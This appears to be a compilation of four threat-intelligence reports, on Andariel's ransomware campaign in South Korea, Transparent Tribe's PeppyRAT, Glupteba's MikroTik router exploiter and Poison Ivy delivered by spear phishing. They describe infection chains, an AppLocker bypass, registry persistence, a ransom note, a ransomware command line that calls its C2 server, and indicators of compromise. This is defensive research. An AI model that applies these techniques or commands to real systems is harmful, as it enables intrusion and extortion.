# Andariel Evolves to Target South Korea with Ransomware
**Authors**
Seongsu Park
## Executive Summary
In April 2021, we observed a suspicious Word document with a Korean file name and decoy. It revealed a novel infection scheme and an unfamiliar payload. While researching these findings, Malwarebytes published a report with technical details about the same series of attacks, which they attributed to the Lazarus group. After a deep analysis, we concluded that the Andariel group was behind these attacks. Andariel was designated by the Korean Financial Security Institute as a sub-group of Lazarus.
Our attribution is based on code overlaps between the second stage payload in this campaign and previous malware from the Andariel group. Apart from code similarity, we found an additional connection with the Andariel group. Each threat actor has characteristics when they interactively work with a backdoor shell in the post-exploitation phase. The way Windows commands and their options were used in this campaign is almost identical to previous Andariel activity.
The threat actor has been spreading the third stage payload from the middle of 2020 onwards and leveraged malicious Word documents and files mimicking PDF documents as infection vectors. Notably, in addition to the final backdoor, we discovered one victim getting infected with custom ransomware. This adds another facet to this Andariel campaign, which also sought financial profit in a previous operation involving the compromise of ATMs.
## Background
This research started with us discovering a suspicious Word document on VirusTotal. It contains an unfamiliar macro and uses novel techniques to implant the next payload. We discovered two infection methods used in these attacks in our telemetry, where each payload has its own loader for execution in memory. The threat actor only delivered the final stage payload for selected victims.
### Infection Procedure
**Initial Infection or Spreading**
As pointed out in Malwarebytes’s public report, the actor sent weaponized documents to the victim as an initial infection vector. The documents use sophisticated infection methods to try to impede detection.
**MD5**
ed9aa858ba2c4671ca373496a4dd05d4
**File Name**
참가신청서양식.doc (Form of participation application.doc)
**Modified Time**
2021-04-13 19:39:00
**Author**
William
The initial infection can be summarized like this:
1. The user opens the malicious document and subsequently allows the macro to be executed.
2. A popup message box appears.
3. The current document gets saved to the path %temp% as HTML and accordingly stores all image files separately within the same directory.
4. Show decoy document.
5. Convert %temp%[document name]\image003.png to the BMP file format and add the extension .zip.
6. Execute image003.zip, which actually contains HTML Application (HTA) code, with mshta.exe.
7. Remove previously created, temporary files.
The executed image003.zip is an HTML Application (HTA) file containing the second stage payload. This HTA code creates the next payload at the hardcoded path C:/Users/Public/Downloads/Winvoke.exe.
Besides the Microsoft Word document, the actor used an additional, alternative infection method according to our telemetry. Although we weren’t able to acquire the initial file, we assume the actor delivered a file disguised as a PDF, since we discovered artifacts containing the path of the tool ezPDFReader: c:\program files (x86)\unidocs\ezpdfreader2.0g\ezpdfwslauncher.exe. This software is developed by a South Korean software company named Unidocs. At this point, we’re missing clear evidence of whether the attack leveraged a vulnerability within this software in the infection process or it was used to deceive users by opening a PDF document as a decoy while the HTA payload is fetched from a remote resource.
Notably, the compromised website www.allamwith[.]com was used for a long period of time. We first saw the URL appearing in the context of this threat actor in September 2020, and it was still in use when we were researching this series of attacks at the end of April 2021.
### Comparison of Two HTA Files
**Second Stage Payload: Simple Agent**
The second stage payload is responsible for communicating with the C2 server and preparing another payload for the next stage. This second stage malware decrypts the embedded payload at runtime. It uses an embedded 16-byte XOR key to decrypt the base64 encoded payload. The decrypted payload is another portable executable file that runs in memory.
**Infection Procedure of the Second Stage Payload:**
1. Create mutex named Microsoft32.
2. Resolve API address: base64 decoding + RC4 decryption with the key MicrosoftCorporationValidation@#$%^&*()!US.
3. Retrieve C2 addresses: base64 decoding + custom XOR decryption.
4. Communication with C2.
According to the response from the C2 server, the payload is able to perform five actions:
| Identifier | Description | Response Message to C2 |
|------------|-------------|------------------------|
| 1111 | Set Sleep() interval | 1111%d Success! |
| 1234 | Execute received data using CreateThread() | 1234 Success! |
| 8877 | Save received data in a local file | 8877 Success! |
| 8888 | Execute given commands with WinExec API | 8888 Success! |
| 9999 | Execute given commands with cmd.exe | Send command result |
The malware operator appears to deliver the third stage payload by using the above functionalities, as our telemetry reveals. Both second and third stage payloads also share an identical icon, which looks like Internet Explorer.
**Third Stage Payload: Backdoor**
The third stage payload was created via the second stage payload, is interactively executed in the operation, and exists in both x64 and x86 versions. Most of them use Internet Explorer or Google Chrome icons and corresponding file names to disguise themselves as legitimate internet browsers. The third stage decrypts the embedded payload and executes it. The embedded payload shows the same structure as the second stage payload discussed above.
Once launched, it checks for the mutex QD33qhhXKK and inspects the system for signs of a sandbox environment by searching for the presence of specific modules. The strings of module names to be checked are decoded with a hardcoded XOR key: 0x4B762A554559586F6A45656545654130.
With the environment checks done, the main payload gets decrypted using the same XOR key and launched with rundll32.exe. Three C2 addresses then get extracted and decrypted using DES, with all addresses pointing to the same IP (23.229.111[.]197) in this sample. The malware then sends a hardcoded string to the C2 server: “HTTP 1.1 /member.php SSL3.4”.
### C2 Communication
Next, it checks if the C2’s response data equals “HTTP 1.1 200 OK SSL2.1” and, if positive, starts conducting its backdoor operations. The samples contain debug data and thereby expose function names disclosing their purpose:
- ModuleUpdate: Replace the current module with a batch file
- ModuleShell: Execute Windows command, changes working directory, Connect to given IP address
- ModuleFileManager: Get disk information, File listing, File manipulation
- ModuleScreenCapture: Take a screenshot
### Ransomware
Interestingly, one victim was discovered to have received ransomware after the third stage payload. This ransomware sample is custom made and specifically developed by the threat actor behind this attack. This ransomware is controlled by command line parameters and can either retrieve an encryption key from the C2 or, alternatively, as an argument at launch time.
**Parameters:**
1. Drive path to encrypt
2. Malware takes two types of options:
- -s and -S option: specify a C2 IP address and port to source an encryption key
- -k and -K option: specify 32-byte initial vector (IV) and 32-byte key from command line parameters
3. Depending on parameter #2:
- -s/-S: C2 IP address
- -k/-K: 32-byte initial vector (IV) value
4. Depending on parameter #2:
- -s/-S: C2 port number
- -k/-K: 32-byte encryption key value
5. Attacker contact: email address
6. File extension to be used for encrypted files/file name of ransom note
7. Optional parameter: 24-character victim ID
We saw the malware executed with the following parameter options in our telemetry:
`c:\temp\mshelp.exe d:\ -s 23.229.111[.]197 3569 sanjgold847@protonmail[.]com 12345 12345FDDEE5566778899AABB`
Upon launch, the ransomware checks the number of parameters. If the number of arguments is less than six, the malware terminates itself. If there is no extension for the encrypted files specified, the malware uses a default extension (.3nc004) and a default file name for the ransom note (3nc004.txt). If the victim ID is left unspecified, the ransomware generates a random ID 24 characters long.
If the malware is executed with the -s(-S) option, it sends the victim ID to the C2 server and receives the initial vector (IV) and key to encrypt files. Each of the strings has a length of 32 characters. When the ransomware communicates with the C2 server, it uses the same authentication process and strings as the third stage payload.
The ransomware uses an AES-128 CBC mode algorithm to encrypt files on the victim machine. With the exception of system-critical files (“.exe”, “.dll”, “.sys”, .”msiins”, and “.drv” extensions), the malware encrypts files completely, irrespective of file size. However, since important system configuration files are affected by the encryption procedure as well, it can lead to an unstable system.
As a final step, it leaves a ransom note on the desktop and in the startup folder and opens it with notepad.exe.
**Ransom Note:**
```
Attention! Attention! Attention!
Your documents, photos, databases and other important files are encrypted and have the extension: [extension]
Don't worry, you can return all your files!
If you want to decrypt all your encrypted files, the only method of recovering files is to purchase decrypt tool and unique key for you.
You just need little bitcoin.
This software will decrypt all your encrypted files.
To get this software you need write on our email: [Attacker's email address]
What guarantees do we give to you?
It's just a business. We absolutely do not care about you and your deals, except getting benefits.
You can send 2 your encrypted file from your PC with your ID and decrypt it for free.
Warning
Don't try to change files by yourself, Don't use any third party software for restoring your data.
Your ID: [24 characters victim ID]
```
## Victims
Historically, the Andariel group has mainly targeted entities in South Korea, which, according to our telemetry, is also the case in this campaign. We confirmed several victims in the manufacturing, home network service, media, and construction sectors. Each victim is active in their respective industries and they do not appear to be connected. Therefore, it is not currently possible to determine a precise focus with regard to victimology.
In one instance, we discovered that the threat actor delivered ransomware to a victim. This adds a financially motivated angle to these attacks. The Andariel group has already been observed directly monetizing an operation in a previous case where ATMs were compromised in South Korea.
## Attribution
The Malwarebytes report attributes this attack to the Lazarus group, but based on the custom string decryption routine seen in the second stage payload, we came to a different conclusion. This XOR-based decryption routine has been used by Andariel malware for a long time. For instance, this decryption routine has also been used in malware (MD5 9758efcf96343d0ef83854860195c4b4) we reported earlier to our Threat Intelligence Portal customers on Andariel’s 2019 activity. In addition, malware (MD5 3703c22e33629abd440483e0f60abf79) dropped by a malicious Word document in early 2018 – also attributed to Andariel – exhibits the same decryption routine.
An additional indicator pointing to the Andariel group can be discovered in the post-exploitation commands on victim machines. As a rule, each APT actor displays a different command line signature when working interactively via an installed backdoor. As a result of comparing previously seen Windows commands delivered by the Andariel group, we can confirm that both cases used the same Windows command options.
| Commands Used by Andariel Group in Previous Cases | Commands Seen in the Attacks Discussed in This Report | Commands Used by Lazarus Group |
|---------------------------------------------------|------------------------------------------------------|-------------------------------|
| netstat -naop tcp | netstat -naop tcp | findstr LISTEN | netstat -ano | find “:445” |
| netstat -naop tcp | findstr 2008 | tasklist | findstr 3756 | netstat -ano | find “EST” |
| tasklist | findstr sqlwriter.exe | tasklist | findstr 15412 | tasklist | findstr juchmon.exe |
However, apart from the connections to the Andariel group, we discovered two weaker ties to the Lazarus group in the third stage payload. It shows an overlap with the PEBBLEDASH malware family, previously published by CISA. CISA attributed this malware variant to a threat actor they dubbed Hidden Cobra. We called this malware variant Manuscrypt and attributed it to the Lazarus group.
In conclusion, we assess that the Andariel group is behind this attack. However, it also reveals a faint connection to the Lazarus group.
## Conclusions
The Andariel group has continued to focus on targets in South Korea, but their tools and techniques have evolved considerably. By closely examining the whole infection procedure, we discovered that the Andariel group intended to spread ransomware through this attack and, by doing so, they have underlined their place as a financially motivated state-sponsored actor.
## Indicators of Compromise
**Malicious Documents**
- ed9aa858ba2c4671ca373496a4dd05d4: 참가신청서양식.doc (Application form.doc)
- 71759cca8c700646b4976b19b9abd6fe: 생활비지급.doc (Payment of living costs.doc)
- 3ba4c71c6b087e6d06d668bb22a5b59a: test3.doc
- d5e974a3386fc99d2932756ca165a451: 결의대회초안.doc (Draft for resolution conference.doc)
**Second Stage Payload (Simple Agent)**
- f4d46629ca15313b94992f3798718df7: %PUBLIC%\downloads\winvoke.exe
- 118cfa75e386ed45bec297f8865de671: %PUBLIC%\Libraries\AppStore.exe
- 53648bf8f0121130edb42c626d7c2fc4
- 1bb267c96ec2925f6ae3716d831671cf: %PUBLIC%\Libraries\AlgStore.exe
- 0812ce08a75e5fc774a114436e88cd06
- 927f0a1090255bc724953e1f5a09a070: %PUBLIC%\iexplore.exe
- 145735911e9c8bafa4c9c1d7397199fc: iexplore.exe
- 551c5b3595e9fc1081b5e1f10e3c1a59: iexplore.exe
- f3fcb306cb93489f999e00a7ef63536b
- 0ecfa51cd4bf1a9841a07bdb5bfcd0ab
- 4d30612a928faf7643b14bd85d8433cc
- df1e7a42c92ecb01290d896dca4e5faa
**Third Stage Payload (Backdoor)**
- 3b1b8702c4d3e2e194c4cc8f09a57d06: %PUBLIC%\chrome.exe
- ef3a6978c7d454f9f6316f2d267f108d
- 33c2e887c3d337eeffbbd8745bfdfc8f
- bf4a822f04193b953689e277a9e1f4f1
- 6e710f6f02fdde1e4adf06935a296fd8
- 38917e8aa02b58b09401383115ab549e
- 67220baf2a415876bee2d43c11f6e9ad
- 3bf9b83e00544ac383aaef795e3ded78: ixplore.exe
- 159ad2afcab80e83397388e495d215a5
- 21ec5f03aab696f0a239c6ea5e50c014: %PUBLIC%\iexplore.exe
- b5874eb1119327be51ae03adcbf4d3e0: %USERPROFILE%\iexplore.exe
- 8b378eabcec13c3c925cc7ca4d191f5f
- 5b387a9130e9b9782ca4c225c8e641b3
- 25c8e057864126e6648c34581e7b4f20
- 62eae43a36cbc4ed935d8df007f5650b
- 8d74112c97e98fef4c5d77200f34e4f2
- b5648f5e115da778615dfd0dc772b647: %USERPROFILE%\iexplore.exe
- eef723ff0b5c0b10d391955250f781b3
- d1a99087fa3793fbc4d0adb26e87efce
- d63bb2c5cd4cfbe8fabf1640b569db6a
- fffad123bd6df76f94ffc9b384a067fc
- abaeecd83a585ec0c5f1153199938e83
- 569246a3325effa11cb8ff362428ab2c
- 3b494133f1a673b2b04df4f4f996a25d
- fc3c31bbdbeee99aba5f7a735fac7a7e
**Ransomware**
- d96fcd2159643684f4573238f530d03b: %TEMP%\mshelp.exe
**Second Stage C2 Servers**
- hxxp://ddjm[.]co[.]kr/bbs/icon/skin/skin[.]php
- hxxp://hivekorea[.]com/jdboard/member/list[.]php
- hxxp://mail[.]namusoft[.]kr/jsp/user/eam/board[.]jsp
- hxxp://mail[.]sisnet[.]co[.]kr/jsp/user/sms/sms_recv[.]jsp
- hxxp://snum[.]or[.]kr/skin_img/skin[.]php
- hxxp://www[.]allamwith[.]com/home/mobile/list[.]php
- hxxp://www[.]conkorea[.]com/cshop/banner/list[.]php
- hxxp://www[.]ddjm[.]co[.]kr/bbs/icon/skin/skin[.]php
- hxxp://www[.]jinjinpig[.]co[.]kr/Anyboard/skin/board[.]php
**Third Stage C2 Servers**
- 198.55.119.112:443
- 45.58.112.77:443
- 23.229.111.197:8443
- 23.229.111.197:443
- 185.208.158.208:443
## MITRE ATT&CK Mapping
| Tactic | Technique | Technique Name |
|-------------------------------|----------------|----------------------------------------------------|
| Resource Development | T1584.006 | Compromise Infrastructure: Web Services |
| | T1583.003 | Acquire Infrastructure: Virtual Private Server |
| Initial Access | T1566.001 | Phishing: Spearphishing Attachment |
| Execution | T1204.002 | User Execution: Malicious File |
| | T1059.007 | Command and Scripting Interpreter: JavaScript |
| Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name or Location |
| | T1027.003 | Obfuscated Files or Information: Steganography |
| | T1497.001 | Virtualization/Sandbox Evasion: System Checks |
| Discovery | T1049 | System Network Connections Discovery |
| | T1057 | Process Discovery |
| Collection | T1113 | Screen Capture |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols |
| | T1095 | Non-Application Layer Protocol |
| | T1573.001 | Encrypted Channel: Symmetric Cryptography |
| Exfiltration | T1041 | Exfiltration Over C2 Channel |
| Impact | T1486 | Data Encrypted for Impact | |
# New TransparenTribe Operation: Targeting India with Weaponized COVID-19 Lure Documents
Over the last months, lab52 has been researching an attack campaign which targets government and military personnel of India. In fact, targeting the Indian government seems to be one of the key indicators of the group that may be behind this attack. Furthermore, some of the artifacts and infrastructure used to carry out the novel infection campaign are strongly related to the threat group Transparent Tribe.
Initially, Lab52 detected a suspicious IMG file (Covid_Letter.img – 948dffef9a11c11a6d81905e59ca1882) that was uploaded in VirusTotal via the website from India, with upload date 09-06-2021. This file may have been sent attached to an email and contains a PDF document and some artifacts in order to display a decoy PDF to the user and initiate the infection process in the background. The PDF is named Vaccination06042021.pdf and its contents are related to COVID vaccination for employees over 45 years of age at the Central Administration of the Government of India.
Although this decoy PDF document is harmless, the IMG file contains some other artifacts that will carry out the infection. Firstly, the IMG file contains a shortcut with the same name as the PDF document, which will be in charge of starting the infection by launching a Visual Basic script called doc.vbs. The infection chain continues executing both the decoy PDF document and a Windows PE (ServiceHub.MsDetouredHost.exe – 68d73d596a7103e517967f7f4e22cecb) which after being analyzed, we have been able to identify it as a Python/PeppyRAT.
The main feature of this Windows executable is the ability to run embedded Python commands from itself. For this, the threat firstly relaunches itself and then starts building a new IAT (Import Address Table) referencing a large number of Python functions contained in the Python27.dll library that will be executed later.
The crux of the matter is that by dropping all python compiled objects and dynamic-link libraries required into %TEMP% directory, it makes this python command execution technique possible through a Windows PE file.
Once the threat gets its environment all set, it builds and loads into memory a Python script that will be in charge of obtaining the list of running processes and notifying the command-and-control server through an HTTP POST request.
As a result, we have a python script composed by seven functions plus its main function. This script will notify to the C2C the extracted computer info and also set persistence into the victim machine.
Most important python functions are the following:
- **Function 1 – Name:** setdelimeters
**Description:** Collect computer data: Get list of running processes
- **Function 2 – Name:** getallusready
**Description:** Collect computer data: Get OS version and machine name
- **Function 3 – Name:** simplify
**Description:** Set persistence mechanism through Windows startup folders in the current user context
- **Function 4 – Name:** synchronize
**Description:** Send collected information to the command-and-control server
As for network communications, as seen in the synchronize python function, the threat sends the list of running processes obtained, the OS version and the username through an HTTP request. This domain, where the C2C is hosted, resolves to an IP address that belongs to Digital Ocean VPS service. So, the threat actors make use of this infrastructure to take control of compromised computers and carry out actions from their C2C.
Finally, as a persistence mechanism, the simplify function drops a new Windows PE file into the current user startup folder: (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\devenv.defender.scr). This later artifact has been developed in .NET framework and its purpose is very simple: waiting to receive a new infection module from the C2C, which is a DLL file named mscontainer.dll.
So far, we analyzed a threat whose main capabilities are for initial access and recognition of the compromised computer as a common operational characteristic of the threat group, in order to detect if the malware was executed in a sandbox or other analysis environments. Therefore, we could consider it as the first stage and wait for new artifacts from the command-and-control server.
The Windows DLL mscontainer.dll sent afterwards by the C2C seems to be the next stage of infection. Remember that this artifact is expected by the last analyzed PE devenv.defender.scr which persists on the Windows startup folders. The analyzed mscontainer.dll sample, also developed in .NET, is composed of 10 functionalities plus its main function.
The threat-analysis has allowed us to obtain 37 decrypted strings, the commands accepted by the C2C and its hosted domain and others related to their capabilities, etc. The most outstanding ones being considered:
- senddevices
- same
- OS
- Intranet
- Start
- Pending
- result
- done
For the time being, no new infection scenarios and/or modules implemented by the C2C server have been obtained. However, variations in the names of the artifacts that keep the same infection chain have been detected.
On the whole, this infection campaign seems to be related to the threat group Transparent Tribe, trying to compromise Indian government once again. This assumption is based on the fact that the PDF content targeted to the government of India and the TTPs employed during the infection process are common on this group. Even though this threat group usually deploys CrimsonRAT as an initial access threat, this time they have deployed PeppyRAT. So, it could be considered a variation of the TTPs related to the APT group Transparent Tribe. Furthermore, no similarities have been found to any known malware in the mscontainer.dll artifact. In fact, it could be indeed a new malware developed by the threat group.
## INDICATORS OF COMPROMISE:
### ARTIFACTS:
| FILENAME | SHA1 |
|--------------------------------------------|----------------------------------------|
| Covid_Letter.img | c060431e55db84a195241be1cffdbdc30f42d666 |
| ServiceHub.MsDetouredHost.exe | 37dfea2d3e123ad91a8782debccb8f5c923b1a37 |
| devenv.defender.scr | 226781c376d6b4bdb8935dc98f645744da41ef68 |
| doc.vbs | f4ccf4dfcd6966eaa0b96b3977266113d71c5fa8 |
| Vaccination06042021.PDF | aa9eb957a3f46dc6a3d300c730c2d3892f577100 |
| Vaccination06042021.pdf.lnk | 9e27af77135943714bd5821f628c53af9a3f5fc9 |
| mscontainer.dll | cfe0dba23fb55450d158731a35097de6c34679bd |
### NETWORK:
| Domain | IP Address |
|-----------------------|---------------------|
| iwestcloud[.]com | 167.99.40[.]13 |
| zoneflare[.]com | 46.101.202[.]66 |
### RELATED INDICATORS:
| FILENAME | SHA1 |
|-----------------------|----------------------------------------|
| tracking_notice.xls | c65bb0e553dcc2ee68f24a862766cf1a813f0e0f |
| mybinder.exe | 4c5d43a71a24f4aa60f28613f2e26845418f4304 |
| uipool.scr | e4f90256b82b7d09bdd5c622982a20fe064ae7a9 |
### MITRE TTPs:
| TECHNIQUE ID | Name |
|----------------------|--------------------------------------------------------|
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| T1566.001 | Phishing: Spearphishing Attachment |
| T1059.006 | Command and Scripting Interpreter: Python |
| T1057 | Process discovery |
| T1046 | Network Service Scanning |
| T1041 | Exfiltration Over C2 Channel |
| T1568 | Dynamic Resolution |
| T1005 | Data from Local System |
Customers with Lab52’s APT intelligence private feed service already have more tools and means of detection for this campaign. In case of having threat hunting service or being a client of S2Grupo CERT, this intelligence has already been applied. If you need more information about Lab52’s private APT intelligence feed service, you can contact us. |
# Glupteba Campaign Hits Network Routers and Updates C&C Servers with Data from Bitcoin Transactions
**Posted on:** September 4, 2019 at 4:57 am
**Posted in:** Exploits, Malware, Vulnerabilities
**Author:** Jaromir Horejsi and Joseph C. Chen
We recently caught a malvertising attack distributing the malware Glupteba. This is an older malware that was previously connected to a campaign named Operation Windigo and distributed through exploit kits to Windows users. In 2018, a security company reported that the Glupteba botnet may have been independent from Operation Windigo and had moved to a pay-per-install adware service to distribute it in the wild. The activities of the actors behind Glupteba have been varied: they were suspected of providing proxy services in the underground and were identified as using the EternalBlue exploit to move into local networks and run Monero (XMR) cryptocurrency miners.
After looking into the recent variant of the Glupteba dropper delivered from the malvertising attack, we found that the dropper downloaded two undocumented components aside from the Glupteba malware:
- A browser stealer that can steal sensitive data, for example, browsing history, website cookies, and account names and passwords from browsers and send the information to a remote server.
- A router exploiter that attacks MikroTik routers in the local network with the CVE-2018-14847 vulnerability. It will schedule a task on the router for command and control (C&C) and upload the stolen administrator credentials to a remote server. A compromised router will be configured as a SOCKS proxy to relay malicious traffic, matching the original purpose of the Glupteba botnet on Windows.
In addition, an interesting feature we found inside the Glupteba dropper can retrieve the latest C&C domain from Bitcoin transactions. It seems the operators are still improving their malware and may be trying to extend their proxy network to Internet of Things (IoT) devices.
## Analysis of the Glupteba dropper
The downloaded dropper binary is packed with a custom packer, written in Go programming language, and compiled to executable. The dropper first initializes ‘config information’ by acquiring current application information, operating information, hardware information, as well as some information hardcoded in binary. It creates a registry key `HKEY_USERS\<sid>\Software\Microsoft\TestApp` to store all the acquired information.
Then, the function `sendParentProcesses` acquires `machine_guid` from the registry, as well as distributor id and campaign id from the file name, product identification (PID), and names of parent processes. It then embeds this information in a POST request, encrypts it with an AES cipher, and uploads to the C&C server: `hxxps://<server>/api/parent-processes`.
After that, the dropper checks if the process is elevated and running as a SYSTEM user. If the process is not elevated, it tries to exploit the fodhelper method to get it elevated. If it is elevated but not running as a SYSTEM user, it uses the “Run as Trusted Installer” method, likely inspired by this code, which uses a stolen winlogon process token to run the process as SYSTEM.
The main dropper binary has embedded a few rootkit drivers used for hiding files and processes and a few other tools taken from GitHub used to help install the necessary drivers.
Function `executeTask` processes these main commands:
- `hide` - Hide task PID using embedded WinMon
- `update` - Terminate and remove current version, replace with new version
- `cleanup` - Uninstall
Function `mainInstall` checks for installed antivirus (AV) programs, adds firewall rules, and adds defender exclusions. Function `mainPoll` regularly polls the C&C server for new commands. It sends a POST request to `hxxps://<server>/api/poll`.
Finally, function `handleCommand` implements backdoor functions.
### Notable C&C update capability
The backdoor mostly has standard capabilities, but one interesting feature stands out: This malware can update its C&C server address through the blockchain via the function `discoverDomain`.
The `discoverDomain` function can be run either by sending a backdoor command or automatically by the dropper. It first enumerates Electrum Bitcoin wallet servers using a publicly available list, then tries to query the blockchain script hash history of the script with a hardcoded hash. This command then reveals all the related transactions.
Then each transaction is parsed, searching for the OP_RETURN instruction. The pieces of data followed by OP_RETURN instruction are then used as parameters for AES decryption routine — the first 12 bytes are used as the AES GCM tag, and the following 32 bytes are the encrypted data. The 32-byte long AES key is hardcoded in the binary file.
Therefore, `0f8f7cd39e1a5231b49f986b877befce0c2f558f0c1a9844833ac702cb3eba6e` gets decoded to `venoxcontrol[.]com`, which is the current C&C server at the time of writing this publication.
This technique makes it more convenient for the threat actor to replace C&C servers. If they lose control of a C&C server for any reason, they simply need to add a new Bitcoin script and the infected machines obtain a new C&C server by decrypting the script data and reconnecting.
### Browser stealer component
One observed component from the recent Glupteba variant is called “updateprofile”, which is a browser profile, cookies, and password extractor. The Chrome, Opera, and Yandex browsers are targeted — cookies, history, and other profile files are zipped and uploaded to the information collection server to path `/api/log`. Similar to the main dropper, this component is also written in Go, compiled to be executable, and packed with a UPX packer.
Another version of the browser stealer is called “vc.exe”. Its goal is to extract browser passwords and cookies and post the extracted data to the information collection server to path `/bots/post-en-data?uuid=`.
### Router exploiter component
Another component we found downloaded by the Glupteba dropper is a router exploiter, which is also developed with Go language. It looks into the default gateway of the victim’s network. The list of default IP gateways is obtained by calling WMI command `SELECT DefaultIPGateway FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = true`.
In addition to these addresses, the following three default addresses are added: `192.168.88.11`, `192.168.0.1`, `192.168.1.1`.
Once the component successfully connects to the device listening on port 8291, it then attempts to exploit the device with the CVE-2018-14847 vulnerability, which affects the RouterOS system used on MikroTik routers. The exploit code was likely inspired by this code on exploit-db. It allows the attackers to grab the administrator’s credentials from unpatched routers. The grabbed account names and passwords are stored in a JSON object, encrypted, and POSTed to `/api/router` path of the C&C server.
Once credentials are successfully obtained, a task is added to the scheduler of the router. There are three methods implemented to add a scheduler task: using WinBox protocol, using SSH, or using API.
The router exploiter component scheduled a task named “U6” on compromised routers for command and control. The task will regularly check a C&C URL every 10 minutes and execute the content downloaded from it. The C&C URL is appended with a unique UUID, which is the same as the bot ID of Glupteba on the victim’s machine. The URL usually returns an HTTP 404 error; but when the bot master sends a command, it returns an RSC file, which is the format of the RouterOS configuration.
The file is the command from the bot master to control the router. In the attack we analyzed, we saw the C&C server send multiple RSC files step by step to configure the compromised router to be a SOCKS proxy. Here are the steps:
1. The first configuration changed the period of “U6” task schedule from 10 minutes to every 15 seconds.
2. The second configuration disabled services, including winbox, telnet, api, and api-ssl. This is most likely to prevent the router from being compromised by other attackers through the same vulnerability. Then it opened the SSH and SOCKS services, which are listening on randomly assigned ports, and created a firewall rule to accept external connection to the SOCKS port.
3. The third configuration removed the existing SOCKS access list on the compromised router.
4. The fourth configuration added a new SOCKS access list to limit the service so that it only accepts connections from specified IP ranges. These ranges are probably where the attackers’ servers are.
### Relayed traffic on compromised routers
After the above-mentioned setups, the compromised router became a SOCKS proxy for the attackers to relay traffic. We monitored a compromised router to see what kind of traffic is transferred. The first remote connection routed through the SOCKS proxy is from a server, which likely belongs to the attackers. This server queries `http://ip-api[.]com/json`, which returns the IP address of the current SOCKS proxy server. This query is sent repeatedly, probably to monitor the SOCKS proxy service.
After the first check on the router status, we started seeing different servers with two types of traffic connected to the proxy. The first one is spam traffic. We saw a remote server establish SMTP connections to different mail servers through the SOCKS proxy of compromised routers. If a mail server accepted the connection, that remote server started to send spam mail. The spam mail delivered seems to be related to the notorious “Canadian Pharmacy” spam.
Besides the spam traffic, we saw other traffic from a set of remote servers that were repeatedly connecting to Instagram. However, the traffic sent through was protected by HTTPS encryption. We can’t decrypt it and don’t know what exactly these connections are for. One theory is that it is the password-reuse attack hitting Instagram. It was previously reported to be one type of malicious traffic proxied through the Glupteba botnet.
As mentioned, Glupteba still seems to be evolving and adding capabilities. New techniques, such as updating C&C servers through data obtained from Bitcoin transactions, show that the malicious actors behind this malware are adopting little-used techniques to try and keep their malware active. Since it is already proven to be an information stealer and a proxy for malicious spam, users and enterprises should be wary of this threat.
## Security recommendations
Malvertising is a widespread threat that can affect users and businesses alike. A multilayered approach to security is important — from the gateway, endpoints, networks, and servers. Trend Micro solutions powered by XGen™ security, such as Trend Micro™ Security and Trend Micro Network Defense, can detect related malicious files and URLs and protect users’ systems. Trend Micro Smart Protection Suites and Trend Micro Worry-Free™ Business Security, which have behavior monitoring capabilities, can additionally protect from these types of threats by detecting malicious files, as well as blocking all related malicious URLs.
Security should be top of mind when setting up routers — most devices across homes and offices are connected to these devices and can be affected if a router is compromised. Although manufacturers play important roles in securing routers and other devices, users and businesses can adopt good security practices to defend against threats. Also, deploying tools that provide additional security to home networks and devices connected to them further strengthens defenses. |
# Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government
## Introduction
FireEye recently observed a sophisticated campaign targeting individuals within the Mongolian government. Targeted individuals that enabled macros in a malicious Microsoft Word document may have been infected with Poison Ivy, a popular remote access tool (RAT) that has been used for nearly a decade for key logging, screen and video capture, file transfers, password theft, system administration, traffic relaying, and more. The threat actors behind this attack demonstrated some interesting techniques, including:
1. **Customized evasion based on victim profile** – The campaign used a publicly available technique to evade AppLocker application whitelisting applied to the targeted systems.
2. **Fileless execution and persistence** – In targeted campaigns, threat actors often attempt to avoid writing an executable to the disk to avoid detection and forensic examination. The campaign we observed used four stages of PowerShell scripts without writing the payloads to individual files.
3. **Decoy documents** – This campaign used PowerShell to download benign documents from the Internet and launch them in a separate Microsoft Word instance to minimize user suspicion of malicious activity.
## Attack Cycle
The threat actors used social engineering to convince users to run an embedded macro in a Microsoft Word document that launched a malicious PowerShell payload. The threat actors used two publicly available techniques, an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process. The malicious payload was spread across multiple PowerShell scripts, making its execution difficult to trace. Rather than being written to disk as individual script files, the PowerShell payloads were stored in the registry.
## Social Engineering and Macro-PowerShell Level 1 Usage
Targets of the campaign received Microsoft Word documents via email that claimed to contain instructions for logging into webmail or information regarding a state law proposal. When a targeted user opens the malicious document, they are presented with messages asking them to enable macros.
## Bypassing Application Whitelisting Script Protections (AppLocker)
Microsoft application whitelisting solution AppLocker prevents unknown executables from running on a system. In April 2016, a security researcher demonstrated a way to bypass this using regsvr32.exe, a legitimate Microsoft executable permitted to execute in many AppLocker policies. The regsvr32.exe executable can be used to download a Windows Script Component file (SCT file) by passing the URL of the SCT file as an argument. This technique bypasses AppLocker restrictions and permits the execution of code within the SCT file. We observed implementation of this bypass in the macro code to invoke regsvr32.exe, along with a URL passed to it which was hosting a malicious SCT file.
## Decoding SCT: Decoy launch and Stage Two PowerShell
After decoding the PowerShell command, we observed another layer of PowerShell instructions, which served two purposes:
1. There was code to download a decoy document from the Internet and open it in a second winword.exe process using the Start-Process cmdlet. When the victim enables macros, they will see the decoy document. This document contains the content described in the spear phishing email.
2. After launching the decoy document in the second winword.exe process, the PowerShell script downloads and runs another PowerShell script named f0921.ps1.
## Third Stage PowerShell Persistence
The third stage PowerShell script configures an encoded PowerShell command persistently as a base64 string in the HKCU:\Console\FontSecurity registry key. The third stage PowerShell script also configures another registry value named HKCU\CurrentVersion\Run\SecurityUpdate to launch the encoded PowerShell payload stored in the HKCU:\Console\FontSecurity key. This will execute the PowerShell payload when the user logs in to the system.
## Fourth Stage PowerShell Inject-LocalShellCode
The HKCU\Console\FontSecurity registry contains the fourth stage PowerShell script, which borrows from the publicly available Inject-LocalShellCode PowerShell script from PowerSploit to inject shellcode.
## Shellcode Analysis
The shellcode has a custom XOR based decryption loop that uses a single byte key (0xD4). After the shellcode is decrypted and run, it injects a Poison Ivy backdoor into the userinit.exe. In the decrypted shellcode, we also observed content and configuration related to Poison Ivy. Correlating these bytes to the standard configuration of Poison Ivy, we can observe the following:
- Active setup – StubPath
- Encryption/Decryption key - version2013
